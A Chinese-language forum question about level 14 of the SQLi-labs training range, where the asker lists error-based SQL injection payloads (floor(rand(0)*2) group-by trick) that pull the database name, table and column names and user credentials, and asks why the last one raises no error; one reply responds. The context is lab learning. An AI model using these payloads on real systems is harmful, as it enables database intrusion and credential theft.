Hacker-小胖锅 2023-05-21 15:34 采纳率: 25%
浏览 33
已结题

关于SQL—labs靶场第14关的一个疑问

使用使用下面三个语句都能够获得信息
(1)获取数据库名1" union select count(*),concat((select database()),floor(rand(0)2)) as a from information_schema.tables group by a #
(2)获取数据库的表名1" union select count(
),concat((select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand(0)2)) as a from information_schema.tables group by a #
(3)获取表中的字段名1" union select count(
),concat((select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand(0)2)) as a from information_schema.tables group by a #
可是为什么下面这个语句却无法获得信息
获取字段username和password中的数据:
1" union select count(
),concat((select group_concat(concat(username,password)) from users),floor(rand(0)*2)) as a from information_schema.tables group by a #
输入这个语句后不会报错,我看这个语句和上面三个相差不大,按道理不是应该也报错吗?但它就是不会报错。
求有经验的解答一下

  • 写回答

1条回答 默认 最新

  • Watch the clown 2023-05-21 16:32
    关注

    你确定username和password记录都存在吗?我觉得他本来就不应该报错语法没看出来有什么错误,最多一直转圈

    本回答被专家选为最佳回答 , 对您是否有帮助呢?
    评论

报告相同问题?

问题事件

  • 系统已结题 6月8日
  • 专家已采纳回答 5月31日
  • 创建了问题 5月21日